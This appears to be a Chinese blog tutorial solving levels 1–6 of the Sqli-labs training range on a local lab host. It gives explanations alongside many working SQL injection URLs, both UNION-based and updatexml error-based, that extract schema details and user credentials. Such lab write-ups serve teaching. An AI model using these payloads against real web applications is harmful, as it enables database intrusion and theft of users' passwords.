枫叶
枫叶
发布于 2026-06-12 / 63 阅读
1
0

Sqli-labs靶场通关教程

我的靶场地址:192.168.10.103:90

第一关

后面带上 /?id=1 ,发现有数据。

此时的查询语句为:

select * from user where id='1';

换成 /?id=1‘ ,页面报错,说明sql查询语句发生破坏,确定存在注入点,且为字符型注入

select * from user where id='1'';

$id用'(或")闭合成为字符型注入

接下来查找有多少列(字段),用 order by

http://192.168.10.103:90/Less-1/?id=1' order by 1,2,3,4 --+

--+  意思是注释,目的是为了防止后面存在sql语句从而导致语句错误

提示4没有找到,所以一共有3列。

接着要查询回显位

http://192.168.10.103:90/Less-1/?id=-1' union select 1,2,3 --+

在这里,因为 union 语句会合并前后两条 sql 语句查询结果,所以要把前面的 id 参数改成 -1 ,sql语句如下:

union select * from user where id=1
union select 1,2,3

可以看到回显位为2,3

接着就可以执行查询了,先看看数据库

http://192.168.10.103:90/Less-1/?id=-1' union select 1,2,database() --+

接着查数据库里的表

http://192.168.10.103:90/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

group_concat(table_name) from information_schema.tables where table_schema='security'
group_concat()                 会把多行数据放到一行显示,并用逗号分开
information_schema.tables      MySQL 系统库自带的元数据表,记录全库的表名(tables)、字段名(columns)等结构信息,这里表示的是表名,点表示的是下一级
table_schema='security'        限定只查找 security 数据库

接着查表里面的字段

http://192.168.10.103:90/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

限定 security 数据库里面的 users 表

发现后面有 username 和 password 字段,所以直接查找这两字段

http://192.168.10.103:90/Less-1/?id=-1' union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x0d0a) from users--+

0x3a      冒号
0x0d0a    换行符

第二关

整体和第一关差不多,先看看报错

所以这关的查询语句变成了:

union select * from 数据库 where id=1;

因为前面在 1 后面加了个 ' ,所以导致报错,这里的 id 没有闭合,所以称为数字型注入

整体和第一关一样,所以就只放注入语句了。

/?id=1 order by 1,2,3,4 --+
/?id=-1 union select 1,2,3 --+
/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
/?id=-1 union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users --+

第三关

和前面差不多,老样子,先看报错

发现多了个 ),所以判定为字符型注入,注意要带个 )

/?id=-1') union select 1,2,database() --+
/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
/?id=-1') union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x0d0a) from users --+

第四关

绕一眼报错:

突然发现带个 ' 后还能正常显示,所以需要试试其他的符号

发现输入 " 后发生报错

可判定为双引号字符型注入,后面有个括号。

/?id=-1") union select 1,2,database() --+
/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
/?id=-1") union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x0d0a) from users --+

第五关

和以前的不一样,传入 id=1 后页面并没有显示数据,因此不能查询回显位,不能使用联合查询。

所以这一关可以使用报错注入,使用 updatexml() 函数。

攻击原理:

第二参数必须是合法xpath,非法表达式导致解析错误,错误信息中包含整个非法路径

updatexml(xml_doc, xpath_expr, new_value)
中间有3个参数,主要是中间的参数,是注入的核心位置,其他两个随便填个啥都行,防止语法报错。

/?id=1' ,页面报错。

接着探测有多少字段

/?id=-1' order by 1,2,3,4 --+

加入4后报错,说明有3个字段。

接着爆数据库

/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
加 0x7e 的原因:
0x7e是 ~ ,在xpath里面属于非法xpath。为了成为非法xpath,所以得加0x7e,若不加,则security为合法的xpath

接着爆表

因为updatexml的报错有字符长度限制,所以得用substr分段截取。

substr(字符串,起始位置,截取长度)
例:substr(内容,1,31) → 取第 1~31 位 (取32为会导致硬性阶段边界)
/?id=-1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=security),1,31),0x7e),1) --+

爆字段

/?id=-1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31),0x7e),1) --+

爆数据

/?id=-1' and updatexml(1,concat(0x7e,substr((select group_concat(id,0x3a,username,0x3a,password) from users),1,31),0x7e),1) --+

并没有显示全,如前面所说,用substr分段显示。

第六关

和上一关一样,只不过变成 /?id=1"

/?id=-1" and updatexml(1,concat(0x7e,database(),0x7e),1) --+
/?id=-1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=security),1,31),0x7e),1) --+
/?id=-1"and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31),0x7e),1) --+
/?id=-1" and updatexml(1,concat(0x7e,substr((select group_concat(id,0x3a,username,0x3a,password) from users),1,31),0x7e),1) --+


评论